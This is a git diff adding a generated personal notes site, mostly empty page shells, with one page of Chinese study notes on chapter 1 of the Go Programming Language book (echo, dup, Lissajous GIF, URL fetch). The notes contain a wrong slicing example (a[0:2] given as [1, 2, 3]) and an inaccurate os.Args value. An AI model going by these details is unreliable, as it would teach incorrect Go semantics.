diff --git a/.nojekyll b/.nojekyll
new file mode 100644
index 0000000000..8b13789179
--- /dev/null
+++ b/.nojekyll
@@ -0,0 +1 @@
+
diff --git a/404.html b/404.html
new file mode 100644
index 0000000000..79132dd723
--- /dev/null
+++ b/404.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/CS/TODOLIST.html b/CS/TODOLIST.html
new file mode 100644
index 0000000000..abba6b90ad
--- /dev/null
+++ b/CS/TODOLIST.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ 任务清单 | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/CS/foundation/C/C.html b/CS/foundation/C/C.html
new file mode 100644
index 0000000000..d97eb8461f
--- /dev/null
+++ b/CS/foundation/C/C.html
@@ -0,0 +1,115 @@
+
+
+
+
+
+
+
+ C | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/CS/foundation/C/index.html b/CS/foundation/C/index.html
new file mode 100644
index 0000000000..ae2617da2b
--- /dev/null
+++ b/CS/foundation/C/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ C | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/CS/foundation/index.html b/CS/foundation/index.html
new file mode 100644
index 0000000000..5d3b1155b0
--- /dev/null
+++ b/CS/foundation/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Foundation | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/CS/index.html b/CS/index.html
new file mode 100644
index 0000000000..898e8fbb0d
--- /dev/null
+++ b/CS/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ C S | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git "a/CS/\347\273\237\346\213\254.html" "b/CS/\347\273\237\346\213\254.html"
new file mode 100644
index 0000000000..79dc09b5f5
--- /dev/null
+++ "b/CS/\347\273\237\346\213\254.html"
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ CS 学习规划 | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/DailyLife/DailyLife.html b/DailyLife/DailyLife.html
new file mode 100644
index 0000000000..2f014d0099
--- /dev/null
+++ b/DailyLife/DailyLife.html
@@ -0,0 +1,258 @@
+
+
+
+
+
+
+
+ 日常 | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/DailyLife/index.html b/DailyLife/index.html
new file mode 100644
index 0000000000..2215dffb5e
--- /dev/null
+++ b/DailyLife/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Daily Life | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git "a/DailyLife/\347\224\237\346\264\273.html" "b/DailyLife/\347\224\237\346\264\273.html"
new file mode 100644
index 0000000000..a98e6ded5e
--- /dev/null
+++ "b/DailyLife/\347\224\237\346\264\273.html"
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ 厨房 | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git "a/DailyLife/\351\243\237\350\260\261/index.html" "b/DailyLife/\351\243\237\350\260\261/index.html"
new file mode 100644
index 0000000000..34a98357f8
--- /dev/null
+++ "b/DailyLife/\351\243\237\350\260\261/index.html"
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ 食谱 | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/CPlusPlus/CPP.html b/Language/CPlusPlus/CPP.html
new file mode 100644
index 0000000000..7ffdcc3c95
--- /dev/null
+++ b/Language/CPlusPlus/CPP.html
@@ -0,0 +1,556 @@
+
+
+
+
+
+
+
+ C++ | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/CPlusPlus/index.html b/Language/CPlusPlus/index.html
new file mode 100644
index 0000000000..a540d751c9
--- /dev/null
+++ b/Language/CPlusPlus/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ C Plus Plus | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git "a/Language/Go/Go\350\257\255\350\250\200\345\234\243\347\273\217/CH1-\345\205\245\351\227\250.html" "b/Language/Go/Go\350\257\255\350\250\200\345\234\243\347\273\217/CH1-\345\205\245\351\227\250.html"
new file mode 100644
index 0000000000..59d691d546
--- /dev/null
+++ "b/Language/Go/Go\350\257\255\350\250\200\345\234\243\347\273\217/CH1-\345\205\245\351\227\250.html"
@@ -0,0 +1,467 @@
+
+
+
+
+
+
+
+ CH1 入门 | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 CH1 入门 入门 - Go 语言圣经 (gopl-zh.github.io)open in new window
Go 语言有时候被描述为“类 C 语言”,或者是“21 世纪的 C 语言”。Go 从 C 语言继承了相似的表达式语法、控制流结构、基础数据类型、调用参数传值、指针等很多思想,还有 C 语言一直所看中的编译后机器码的运行效率以及和现有操作系统的无缝适配。
在第一章会介绍 Go 语言的基础组件, 提供足够的信息以及示例程序, 目的在于帮助读者尽快入门, 写出有用的程序
ch1.1 Hello World Hello, World - Go 语言圣经 (gopl-zh.github.io)open in new window
需要先初始化一个 Go 应用
+go mod init GoLearning
+
比如新建一个 HelloWorld.go
package main
+
+import "fmt"
+
+func main ( ) {
+ fmt. Println ( "Hello World" )
+}
+
Go 是一门编译型语言(静态编译), Go 语言的工具链将源代码及其依赖转换成计算机的机器指令
Go 语言提供的工具都可以使用 go
命令来调用, 其包含一系列子命令, 比如
run
命令可以编译一个或多个以 .go
结尾的源文件, 链接库文件, 并运行最终生成的可执行文件build
命令可以将 .go
源文件编译生成对应的可执行的二进制文件, 由于是静态编译, 从而不用担心在系统库更新的时候会产生冲突终端执行 go run HelloWorld.go
或者利用 VSCode+Go 扩展 F5 直接运行此 go 程序文件
Go 语言原生支持 Unicode, 可以处理全世界任何语言的文本
run
命令:
build
命令
包管理 Go 语言的代码通过 包(package)
组织, package
类似于其他语言中的 库(libraries)
或者 模块(modules)
一个 package
由位于单个目录下的一个或者多个 .go
源代码文件组成,目录定义 package
的作用。
每个源文件都以一条 package
声明语句开始,这个例子里就是 package main
,表示该文件属于哪个包,紧跟着一系列导入(import)的包,之后是存储在这个文件里的程序语句。
Go 的标准库提供了 100 多个 package
, 以支持常见功能,如输入、输出、排序以及文本处理。比如:
package main main
包比较特殊。它定义了一个独立可执行的程序,而不是一个库。在 main
里的 main
函数 也很特殊,它是整个程序执行时的入口(译注:C 系语言差不多都这样)。main
函数所做的事情就是程序做的。当然了,main
函数一般调用其它包里的函数完成很多工作(如:fmt.Println
)。
必须告诉编译器源文件需要哪些包,这就是跟随在 package
声明后面的 import
声明扮演的角色。hello world
例子只用到了一个包,大多数程序需要导入多个包。
必须恰当导入需要的包,缺少了必要的包或者导入了不需要的包,程序都无法编译通过。这项严格要求避免了程序开发过程中引入未使用的包(译注:Go 语言编译过程没有警告信息,争议特性之一)。
import
声明必须跟在文件的 package
声明之后。随后,则是组成程序的函数、变量、常量、类型的声明语句(分别由关键字 func
、var
、const
、type
定义)。
学到这里发现最初写的示例下意识开了个目录存放了测试文件, 然后还用了 package main
声明, 感觉不妥:
因此还是只保留根目录下的 main
作为主程序入口, 将 print hello world
另外定义一个 package
和 function
存放并在 main
中导入使用
Relative imports in Go - Stack Overflowopen in new window
go - func not exported by package. - SegmentFault 思否open in new window
新建了一个 pkg
目录用来统一存放自定义的 package
, 毕竟后续可能在根目录下添加 docs
, .github
之类的, 比如(随手在 Github Activity 中找了个群友 star 的) Go 项目, 目录很规整
在 pkg
目录下新建了一个 hello
目录用来存放输出语句测试文件
这里新建了两个文件, 都使用了同一个 package
名 hello_test
不过在 main
中导入包的时候仍用的 "GoLearning/pkg/hello"
, 而且如果将其中一个 package
名称改为其他名称则会触发报错, 在 "hello" 中找到了多个 package
因此合理推测一个文件目录下的 go 文件应当同属一个 package
所以为了统一格式, 不如将该目录下的所有文件的 package 名都直接用目录的名称(除了根目录下的 package main)
在 main.go
中引入了 GoLearning/pkg/hello
并给了它一个别名 hello
Relative imports in Go - Stack Overflowopen in new window
在 Hello Worldopen in new window 章节最开始做的第一步就是初始化了一个 Go 应用, 在这个过程里就定义了应用名
+go mod init GoLearning
+
别名不一定和包名一样, 有辨识度即可
此外需要注意的是, 函数名称首字母一定要大写, 否则找不到
go - func not exported by package. - SegmentFault 思否open in new window
function 一个函数的声明由 func
关键字、函数名、参数列表、返回值列表以及包含在大括号里的函数体组成。
这个例子里的 main
函数参数列表和返回值都是空的
在学习第五章时会进一步考察 function
的用法
分号的问题 Go 语言不需要在语句或者声明的末尾添加分号,除非一行上有多条语句。实际上,编译器会主动把特定符号后的换行符转换为分号,因此换行符添加的位置会影响 Go 代码的正确解析
比如行末是标识符、整数、浮点数、虚数、字符或字符串文字、关键字 break
、continue
、fallthrough
或 return
中的一个、运算符和分隔符 ++
、--
、)
、]
或 }
中的一个)。
举个例子,函数的左括号 {
必须和 func
函数声明在同一行上,且位于末尾,不能独占一行
而在表达式 x+y
中,可在 +
后换行,不能在 +
前换行
以+结尾的话不会被插入分号分隔符,但是以 x 结尾的话则会被分号分隔符,从而导致编译错误)。
引号的问题 Golang 单引号、双引号和反引号 - 腾讯云开发者社区-腾讯云 (tencent.com)open in new window
需要注意的是, Go 语言中的单引号, 双引号, 反引号的功能是各不相同的
单引号
表示 byte 类型或 rune 类型,对应 uint8 和 int32 类型,默认是 rune 类型。
byte 用来强调数据是 raw data,而不是数字; rune 用来表示 Unicode 的 code point。 双引号
才是字符串, 实际上是字符数组; 可以用索引访问某字节, 也可以用 len()
函数来获取字符串所占的字节长度
反引号
表示字符串字面量, 但不支持任何转义序列;
可以理解成 Python 中的 r"string"
, 将内部字符串原样输出, 不转义 \n, \t, \r
等具有特殊含义的字符串
代码格式 Go 语言在代码格式上采取了很强硬的态度。gofmt
工具把代码格式化为标准格式,并且 go
工具中的 fmt
子命令会对指定包, 否则默认为当前目录中所有 .go
源文件应用 gofmt
命令。
译者注:
这个格式化工具没有任何可以调整代码格式的参数,Go 语言就是这么任性 这也导致了 Go 语言的 TIOBE 排名较低,因为缺少撕逼的话题)。更重要的是,这样可以做多种自动源码转换,如果放任 Go 语言代码格式,这些转换就不大可能了。 很多文本编辑器都可以配置为保存文件时自动执行 gofmt
,这样你的源代码总会被恰当地格式化。还有个相关的工具:goimports
,可以根据代码需要,自动地添加或删除 import
声明。这个工具并没有包含在标准的分发包中,可以用下面的命令安装:
bellow go1.17.1 above go1.17.1
go get golang.org/x/tools/cmd/goimports
+
VSCode 安装 Go 扩展时应该是已经装了类似的工具了, 这点在个人编辑 go 文件时体会到了
对于大多数用户来说,下载、编译包、运行测试用例、察看 Go 语言的文档等等常用功能都可以用 go 的工具完成。学习 10.7 节open in new window 时会详细介绍这些知识。
ch1.2 命令行参数 os
包以跨平台的方式,提供了一些与操作系统交互的函数和变量。程序的命令行参数可从 os
包的 Args
变量获取;
os
包外部使用 os.Args
访问该变量。
os.Args
变量是一个字符串(string)的 切片 (slice)(类似于 Python 中的切片, 是一个简化版的动态数组)
例如, 对于切片 a = [1, 2, 3, 4, 5]
可以用 a[i]
访问当个元素, 例如 a[1] = 2
可以用 a[m:n]
访问 a 的子序列, 如 a[0:2] = [1, 2, 3]
左闭右开获取数组元素
package cmd_param
+
+import (
+ "fmt"
+ "os"
+)
+
+
+func Print_cmd_args ( ) {
+
+ var getParams string
+
+ var sep string = " "
+
+ for i := 0 ; i < len ( os. Args) ; i++ {
+ getParams += os. Args[ i] + sep
+ }
+ fmt. Println ( getParams)
+}
+
+
导入多个模块时, gofmt
会按照字典序对模块名排序
注释方面与 C/C++ 一致, 单行注释用 //
, 多行注释用 /**/
//
到行末之前的内容都是注释, 会被编译器忽略
一般来说会在每个包声明前添加注释, 从整体角度对程序做个描述
var 声明定义了两个 string 类型的变量 getParams
和 sep
变量会在声明时直接初始化。如果变量没有显式初始化,则被隐式地赋予其类型的 零值 (zero value)
数值类型是 0
,字符串类型是空字符串 ""
如果要在一行里定义两个 string 变量, 可以如下书写:
var getParams, sep string
+
+
用于连接字符串
:=
是短变量声明(shrot variable declaration)的一部分, 可用于定义一个或多个变量并根据它们的初始值为这些变量赋予适当类型的语句
a += 1
与 a = a + 1
以及 a++
等价, 都是语句
相对的 , 在 C 系语言中, i++, i--
是表达式 , 存在 b = a++
的写法, 但是 Go 中不允许这样写
此外 Go 中也没有 ++i
的写法, 在 Go 中, ++
和 --
都只能放在变量名后面
Go 语言只有 for 循环 一种循环语句, for
循环有很多种形式, 其中一种就如上述代码一样, 形如:
for initialization; condition; post {
+
+}
+
三个部分不需要用括号包围, 但是要有大括号, 且 {
必须与 for 在同一行(像前面说的一样, 因为 Go 编译时会自动给每行加分号, 所以大括号单起一行过不了编译)
initialization
语句是可选的,在循环开始前执行。
initalization
如果存在,必须是一条 简单语句 (simple statement),即,短变量声明、自增语句、赋值语句或函数调用。
condition
是一个布尔表达式(boolean expression),其值在每次循环迭代开始时计算。如果为 true
则执行循环体语句
post
语句在循环体执行结束后执行,之后再次对 condition
求值。condition
值为 false
时,循环结束。
for
循环的三个部分都可以省略(分号需要保留, 用于确定位置), 当 initialization
和 post
都省略时才可以省略分号
当三个部分都省略时则构造了个无限循环(类比 Python 中的 While 1:
)
可以用 break
或者 return
语句终止循环
package main
+
+import (
+ "GoLearning/pkg/cmd_param"
+)
+
+func main ( ) {
+ cmd_param. Print_cmd_args ( )
+}
+
+
优化上述 echo 程序 在上述代码中, 命令行参数的获取是这样进行的:
for i := 0 ; i < len ( os. Args) ; i++ {
+ getParams += os. Args[ i] + sep
+}
+
那么首先需要遍历 os.Args
获取其长度, 在进入每次循环时需要先根据索引 i
遍历 os.Args
获取到 os.Args[i]
, 然后再拼接到 getParams
的末尾再拼个空格
可以使用切片来对此步骤进行优化
+func Echo_Slice ( ) {
+ var getParams, sep string
+ sep = " "
+ for _ , arg := range os. Args[ 1 : ] {
+ getParams += arg + sep
+ }
+ fmt. Println ( getParams)
+}
+
Go 中不允许有未使用的局部变量, 但是可以使用空标识符 _
来忽略某个变量
_
可用于在任何语法上需要变量名但是程序逻辑中之处
对于已声明的变量, 使用 :=
会报错 "no new variables on left side of :="
此时可以使用 = 赋值
每次循环迭代字符串 getParams
的内容都会更新。+=
连接原字符串、空格和下个参数,产生新字符串,并把它赋值给 getParams
。getParams 原来的内容已经不再使用,将在适当时机对它进行垃圾回收 。
如果连接涉及的数据量很大,这种方式代价高昂。一种简单且高效的解决方案是使用 strings
包的 Join
函数:
+func Echo_Join ( ) {
+ fmt. Println ( strings. Join ( os. Args[ 1 : ] , " " ) )
+}
+
如果不关心输出格式的话, 直接打印 os.Args[1:]
也是可以的
+func Echo_direct_print_slice ( ) {
+ fmt. Println ( os. Args[ 1 : ] )
+}
+
package main
+
+import (
+ "GoLearning/pkg/cmd_param"
+ "fmt"
+)
+
+func main ( ) {
+ fmt. Println ( "echo 基本写法:" )
+ cmd_param. Print_cmd_args ( )
+ fmt. Println ( "echo 切片写法:" )
+ cmd_param. Echo_Slice ( )
+ fmt. Println ( "echo strings.Join() 写法:" )
+ cmd_param. Echo_Join ( )
+ fmt. Println ( "echo 直接打印切片:" )
+ cmd_param. Echo_direct_print_slice ( )
+}
+
+
TODO:: 加入计时分析, 以直观地对比各优化版本的实际效果
(1.6 节open in new window 讲解了部分 time
包,11.4 节open in new window 展示了如何写标准测试程序,以得到系统性的性能评测。)
ch1.3 查找重复的行 查找重复的行 - Go 语言圣经 (gopl-zh.github.io)open in new window
对文件做拷贝、打印、搜索、排序、统计或类似事情的程序都有一个差不多的程序结构:一个处理输入的循环,在每个元素上执行计算处理,在处理的同时或最后产生输出。
本节展示一个名为dup
的程序的三个版本;灵感来自于 Unix 的 uniq
命令,其寻找相邻的重复行。
dup
的第一个版本打印标准输入中多次出现的行,以重复次数开头。该程序将引入 if
语句,map
数据类型以及 bufio
包。
package ch1
+
+import (
+ "bufio"
+ "fmt"
+ "os"
+)
+
+
+func Dup1 ( ) {
+
+ counts := make ( map [ string ] int )
+
+ input := bufio. NewScanner ( os. Stdin)
+
+ for input. Scan ( ) {
+
+ if input. Text ( ) == "0" {
+ break
+ }
+ counts[ input. Text ( ) ] ++
+
+ }
+
+ for line, n := range counts {
+ if n > 1 {
+ fmt. Printf ( "%d\t%s\n" , n, line)
+ }
+ }
+}
+
+
map 从功能上来说和 Python 的 dict 比较像, 都可以存储键值对
map 存储了键/值(key/value)的集合,对集合元素,提供常数时间的存、取或测试操作。
键可以是任意类型,只要其值能用 ==
运算符比较,最常见的例子是字符串; 值则可以是任意类型。 这个例子中的键是字符串,值是整数。 内置函数 make
创建空 map
关于 Map 的其他用法学到 4.3 会有一章讲解: Map - Go 语言圣经 (gopl-zh.github.io)open in new window
bufio
包使处理输入和输出方便又高效。Scanner
类型是该包最有用的特性之一,它读取输入并将其拆成行或单词;通常是处理行形式的输入最简单的方法。
程序使用短变量声明创建 bufio.Scanner
类型的变量 input
。
input := bufio. NewScanner ( os. Stdin)
+
该变量从程序的标准输入中读取内容。每次调用 input.Scan()
,即读入下一行,并移除行末的换行符;读取的内容可以调用 input.Text()
得到。Scan
函数在读到一行时返回 true
,不再有输入时返回 false
。
if 后面跟的条件语句不用括号, 但是主体部分必须加花括号, 就算只有一行也要加
map
中不含某个键时不用担心,首次读到新行时,等号右边的表达式 counts[line]
的值将被计算为其类型的零值,对于 int
即 0
。
关于 Printf 格式化输出:
%d 十进制整数
+%x, %o, %b 十六进制,八进制,二进制整数。
+%f, %g, %e 浮点数: 3.141593 3.141592653589793 3.141593e+00
+%t 布尔:true或false
+%c 字符(rune) (Unicode码点)
+%s 字符串
+%q 带双引号的字符串"abc"或带单引号的字符'c'
+%v 变量的自然形式(natural format)
+%T 变量的类型
+%% 字面上的百分号标志(无操作数)
+
很多程序要么从标准输入中读取数据,如上面的例子所示,要么从一系列具名文件中读取数据。dup
程序的下个版本读取标准输入或是使用 os.Open
打开各个具名文件,并操作它们。
+func countLines ( f * os. File, counts map [ string ] int ) {
+ input := bufio. NewScanner ( f)
+ for input. Scan ( ) {
+
+ if input. Text ( ) == "-1" {
+ break
+ }
+ counts[ input. Text ( ) ] ++
+ }
+
+}
+
+
+func Dup2 ( ) {
+ counts := make ( map [ string ] int )
+ files := os. Args[ 1 : ]
+ if len ( files) == 0 {
+ countLines ( os. Stdin, counts)
+ } else {
+ for _ , arg := range files {
+ f, err := os. Open ( arg)
+ if err != nil {
+ fmt. Fprintf ( os. Stderr, "dup2: %v\n" , err)
+ continue
+ }
+ countLines ( f, counts)
+ f. Close ( )
+ }
+ }
+ for line, n := range counts {
+ if n > 1 {
+ fmt. Printf ( "%d\t%s\n" , n, line)
+ }
+ }
+}
+
os.Open
函数返回两个值
第一个值是被打开的文件(*os.File
),其后被 Scanner
读取。 第二个值是内置 error
类型的值 如果 err
等于内置值nil
(相当于其它语言里的 NULL
),那么文件被成功打开。读取文件,直到文件结束,然后调用 Close
关闭该文件,并释放占用的所有资源。 如果 err
的值不是 nil
,说明打开文件时出错了。这种情况下,错误值描述了所遇到的问题; 在上面的程序中对于此种情况的处理只是简单地将错误输出了 在 Printf 中用了 %v
表示任意类型默认格式值 continue
语句直接跳到 for
循环的下个迭代开始执行。 关于 CountLines 函数, 其实放在 Dup2 函数后面声明也是可以正常调用的, 不过个人习惯还是写把 Dup2 中要用到的函数写在前面了
函数和包级别的变量(package-level entities)可以任意顺序声明,并不影响其被调用。
map
是一个由 make
函数创建的数据结构的引用 。map
作为参数传递给某函数时,该函数接收这个引用的一份拷贝 ,被调用函数对 map
底层数据结构的任何修改,调用者函数都可以通过持有的 map
引用看到。在我们的例子中,countLines
函数向 counts
插入的值,也会被 Dup2
函数看到。
dup
的前两个版本以"流”模式读取输入,并根据需要拆分成多个行。理论上,这些程序可以处理任意数量的输入数据。
还有另一个方法,就是一口气把全部输入数据读到内存中,一次分割为多行,然后处理它们。下面这个版本,dup3
,就是这么操作的。这个例子引入了 ReadFile
函数(来自于io/ioutil
包),其读取指定文件的全部内容,strings.Split
函数把字符串分割成子串的切片。(Split
的作用与前文提到的 strings.Join
相反。)
+func Dup3 ( ) {
+ counts := make ( map [ string ] int )
+ for _ , filename := range os. Args[ 1 : ] {
+ data, err := ioutil. ReadFile ( filename)
+ if err != nil {
+ fmt. Fprintf ( os. Stderr, "dup3: %v\n" , err)
+ continue
+ }
+ for _ , line := range strings. Split ( string ( data) , "\n" ) {
+ counts[ line] ++
+ }
+ }
+ for line, n := range counts {
+ if n > 1 {
+ fmt. Printf ( "%d\t%s\n" , n, line)
+ }
+ }
+}
+
ReadFile
函数返回一个字节切片(byte slice),必须把它转换为 string
,才能用 strings.Split
分割。
在 3.5.4 章中会有对字符串和字节切片的详细讲解
实现上,bufio.Scanner
、ioutil.ReadFile
和 ioutil.WriteFile
都使用 *os.File
的 Read
和 Write
方法,但是,大多数程序员很少需要直接调用那些低级(lower-level)函数。高级(higher-level)函数,像 bufio
和 io/ioutil
包中所提供的那些,用起来要容易点。
仔细看上图中的输出会发现 cmd3 只计算到了 2 次, 这是因为文件最后没有换行, 可以将所有键值对输出看看:
可以看到有两个 cmd3
这是因为我们使用的 \n
切分的字符串, Windows 下的默认行尾序列时 CRLF
也即 \r\n
, VSCode 中可以调节行尾序列, 这里我用的 Windows 系统, VSCode 中默认也是 CRLF, 所以实际上最后三行切分的结果是: cmd3\r
, cmd3\r
, cmd3
; 因此输出的时候会看到两个 cmd3
如果修改为根据 \r\n
切分的话就可以得到预期结果了:
除此以外,在 Go 1.16 之后 io/ioutil 已经弃用了
这里可以直接使用 os.ReadFile
, 效果是一样的:
ch1.4 GIF 动画 package ch1
+
+import (
+ "image"
+ "image/color"
+ "image/gif"
+ "io"
+ "math"
+ "math/rand"
+ "os"
+ "time"
+)
+
+var palette = [ ] color. Color{ color. White, color. Black}
+
+const (
+ whiteIndex = 0
+ blackIndex = 1
+)
+
+func LissajousMain ( ) {
+ rand. Seed ( time. Now ( ) . UTC ( ) . UnixNano ( ) )
+ lissajous ( os. Stdout)
+}
+
+func lissajous ( out io. Writer) {
+ const (
+ cycles = 5
+ res = 0.001
+ size = 100
+ nframes = 64
+ delay = 8
+ )
+
+ freq := rand. Float64 ( ) * 3.0
+ anim := gif. GIF{ LoopCount: nframes}
+ phase := 0.0
+ for i := 0 ; i < nframes; i++ {
+ rect := image. Rect ( 0 , 0 , 2 * size+ 1 , 2 * size+ 1 )
+ img := image. NewPaletted ( rect, palette)
+ for t := 0.0 ; t < cycles* 2 * math. Pi; t += res {
+ x := math. Sin ( t)
+ y := math. Sin ( t* freq + phase)
+ img. SetColorIndex ( size+ int ( x* size+ 0.5 ) , size+ int ( y* size+ 0.5 ) ,
+ blackIndex)
+ }
+ phase += 0.1
+ anim. Delay = append ( anim. Delay, delay)
+ anim. Image = append ( anim. Image, img)
+ }
+
+ gif. EncodeAll ( out, & anim)
+}
+
+
line27~33
的常量声明给出了一系列的常量值,常量是指在程序编译后运行时始终都不会变化的值,比如圈数、帧数、延迟值。常量声明和变量声明一般都会出现在包级别,所以这些常量在整个包中都是可以共享的,或者你也可以把常量声明定义在函数体内部,那么这种常量就只能在函数体内用。目前常量声明的值必须是一个数字值、字符串或者一个固定的 boolean 值。
[]color.Color{...}
和 gif.GIF{...}
这两个表达式是复合声明(4.2 和 4.4.1 节有说明)。这是实例化 Go 语言里的复合类型的一种写法。
前者生成的是一个 slice 切片,后者生成的是一个 struct 结构体。
lissajous 函数内部有两层嵌套的 for 循环。外层循环会循环 64 次,每一次都会生成一个单独的动画帧。它生成了一个包含两种颜色的 201*201 大小的图片,白色和黑色。所有像素点都会被默认设置为其零值(也就是调色板 palette 里的第 0 个值),这里我们设置的是白色。每次外层循环都会生成一张新图片,并将一些像素设置为黑色。其结果会 append 到之前结果之后。这里我们用到了 append(参考 4.2.1)内置函数,将结果 append 到 anim 中的帧列表末尾,并设置一个默认的 80ms 的延迟值。循环结束后所有的延迟值被编码进了 GIF 图片中,并将结果写入到输出流。out 这个变量是 io.Writer 类型,这个类型支持把输出结果写到很多目标,很快我们就可以看到例子。
内层循环设置两个偏振值。x 轴偏振使用 sin 函数。y 轴偏振也是正弦波,但其相对 x 轴的偏振是一个 0-3 的随机值,初始偏振值是一个零值,随着动画的每一帧逐渐增加。循环会一直跑到 x 轴完成五次完整的循环。每一步它都会调用 SetColorIndex 来为(x,y)点来染黑色。
main 函数调用 lissajous 函数,用它来向标准输出流打印信息,所以下面这个命令会像图 1.1 中产生一个 GIF 动画。
go build main
+main.exe > out.gif
+
Windows 下需要在 CMD 下执行该命令, 使用 powershell 生成的 gif 文件无法查看, 检查 hex 可以看到一些 00
可参阅:
TODO: 这节内容其实有一些代码没有完全理解, 后面学完 ch4 再回来看看
ch1.5 获取 URL Go 语言在 net package 的帮助下提供了一些列的 package 来访问互联网上的信息, 使用这些包可以更简单地用网络收发信息, 还可以建立更底层的网络连接, 编写服务器程序, 在这些情景下, Go 语言原生的并发特性显得尤其好用
在第八章中会介绍 Go 语言原生的并发特性
TODO: 在可以建立更底层的网络连接方面看起来似乎可以用来构造一些欺骗性质的请求, 之后遇到可以试试
下面是一个 fetch 程序的示例, fetch 到对应 url 并打印响应文本
这个例子的灵感来源于 curl
package ch1
+
+import (
+ "fmt"
+ "io"
+ "net/http"
+ "os"
+)
+
+func PrintResponseBody ( ) {
+ for _ , url := range os. Args[ 1 : ] {
+ resp, err := http. Get ( url)
+
+ if err != nil {
+ fmt. Fprintf ( os. Stderr, "fetch: %v\n" , err)
+ os. Exit ( 1 )
+ }
+ b, err := io. ReadAll ( resp. Body)
+ resp. Body. Close ( )
+ if err != nil {
+ fmt. Fprintf ( os. Stderr, "fetch: reading %s: %v\n" , url, err)
+ os. Exit ( 1 )
+ }
+ fmt. Printf ( "%s" , b)
+ }
+
+}
+
+
上述是请求成功的情况
请求失败:
超时:
译注:在大天朝的网络环境下很容易重现这种错误,下面是 Windows 下运行得到的错误信息:
$ go run main.go http://gopl.io
+fetch: Get http://gopl.io: dial tcp: lookup gopl.io: getaddrinfow: No such host is known.
+
无论哪种失败原因,上述程序都用了 os.Exit
函数来终止进程,并且返回一个 status 错误码,其值为 1。
:=
是一个赋值运算符, 用于 声明并初始化
一个变量, 其左边是一个或多个变量, 右边是一个或多个表达式
:=
运算符只能用在函数内部,不能用在全局作用域
它可以简化变量的声明和赋值过程,不需要使用 var
关键字或指定变量的类型
syntax - Assignment operator in Go language - Stack Overflowopen in new window
Go 语言中, os.Args
是一个字符串切片,用于存储命令行参数
os.Args[0]
是程序名称, os.Args[1:]
是程序的参数, 例如当前目录下有一个名为 hello.go
的程序, 在命令行中使用如下语句编译并运行该程序文件
go run hello.go world !
+
那么 os.Args
的值就是:
["hello", "world", "!"]
+
range os.Args[1:]
是一个 for 循环语法, 用于遍历切片中的每个元素, range 的返回结果是 索引 元素值
的形式, 例如:
for i, arg := range os. Args[ 1 : ] {
+ fmt. Println ( i, arg)
+}
+
输出
在本节的示例程序中使用了 _
来承接循环体内不会使用到的索引值
http.Get(url)
返回一个响应对象和一个错误对象
响应对象中包含了响应的状态码, 头部, 正文等信息
错误对象表示请求过程中发生了错误, 如果没有错误则错误对象为 nil
nil
是一个预定义的标识符,表示指针、通道、函数、接口、映射或切片类型的零值
nil
只能给指针, 通道, 函数, 接口, 映射或切片类型的变量赋值, 否则会引发 panic, 例如
var i int = nil // 错误:cannot use nil as type int in assignment
+var p *int = nil // 正确:p是一个指向int类型的空指针
+
nil
可以用来检查一个变量是否为空或者未初始化, 例如
var s [ ] string
+if s == nil {
+ fmt. Println ( "s is nil" )
+}
+
Fprintf
和 printf
之间的主要区别是输出目标不同。
Fprintf
可以指定任意的 io.Writer
作为输出目标
printf
只能输出到标准输出流。
c - Difference between fprintf, printf and sprintf? - Stack Overflowopen in new window
Println vs Printf vs Print in Go - Stack Overflowopen in new window
Fprintf
的第一个参数是一个 io.Writter
类型的变量, 表示输出流, 其可以是文件, 网络连接, 标准输出等
Fprintf
会将后面第 2 个及之后参数按照指定格式写入到输出流中, 例如:
f, err := os. Create ( "test.txt" )
+if err != nil {
+ log. Fatal ( err)
+}
+defer f. Close ( )
+fmt. Fprintf ( f, "Hello, %s!\n" , "world" )
+
printf
的第一个参数是一个字符串,表示格式化模板,后面的参数是要格式化的值。printf
会将格式化后的文本输出到标准输出流(通常是屏幕)。例如:
fmt. Printf ( "The answer is %d.\n" , 42 )
+
os.Stderr
是 Go 语言中的一个标准错误输出流, 它是一个 io.Writter
类型的接口, 可以用于向标准错误输出(通常是中断或者控制台) 写入数据
一般情况下, 我们可以使用 os.Stderr
来打印错误信息或调试信息, 而不影响正常的标准输出流
ioutil.ReadAll
用于从一个 Io.Reader
中读取所有数据
io.Reader
是一个接口, 表示可以从某个某个实体中读取数据流的能力, 具体来说, 它允许你从实现了 io.Reader
接口中的东西读取数据到一个字节切片中, 一些常见的实现了 io.Reader
接口的类型有:
文件 (*os.File
) 网络连接(*net.TCPConn
, *net.UDPConn
等) 缓冲区 (*bytes.Buffer
) 压缩/解压缩器(*gzip.Reader
, *flate.Reader
等) 加密/解密器(*cipher.StreamReader
等) Go 编程技巧--io.Reader/Writer - 简书 (jianshu.com)open in new window
使用 ioutil.ReadAll(resp.Body)
读取了响应体之后,需要使用 resp.Body.Close()
关闭响应体,是因为
resp.Body
是一个 io.ReadCloser
类型的接口, 它包含了 io.Reader
和 io.Closer
两个接口
io.Closer
接口定义了一个 Close()
方法, 用于关闭资源并释放底层的文件描述符
如果不关闭 resp.Body
, 那么底层的网络连接将无法被复用, 导致资源泄露与性能下降
通常情况下, 我们应当在读取完 resp.Body
后立即调用 resp.Body.Close()
来关闭响应体, 并且使用 defer
语句确保在函数返回时一定会执行这个操作
